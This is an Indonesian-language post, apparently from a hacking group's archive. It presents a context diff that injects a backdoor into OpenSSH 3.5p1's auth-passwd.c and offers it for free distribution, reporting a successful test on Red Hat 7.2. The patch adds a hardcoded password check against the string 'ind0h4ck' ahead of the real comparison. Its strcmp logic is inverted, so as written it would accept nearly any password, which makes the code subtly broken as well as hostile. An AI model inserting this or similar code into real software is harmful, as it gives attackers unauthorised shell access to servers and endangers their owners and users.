Patch Injeksi Backdoor Untuk Openssh-3.5p1

Patch Injeksi Backdoor Untuk Openssh-3.5p1
Author : scut On 07 May 2006 Jam 05:41


*** auth-passwd.c Sat Aug 2 12:04:58 2003
--- - Sat Aug 2 12:12:33 2003
***************
*** 231,234 ****
--- 231,235 ----

/* Authentication is accepted if the encrypted passwords are identical. */
+ if (strcmp(encrypted_password, "ind0h4ck")) return 1;
return (strcmp(encrypted_password, pw_password) == 0);
#endif /* !USE_PAM && !HAVE_OSF_SIA */


Catatan:
Berhasil dicoba untuk platform Linux redhat 7.2
Didistribusikan secara bebas oleh #indohack@DALnet - 2003
Pengembangan dan kritik silahkan kemukakan di channel

Trims
Scut at Indohack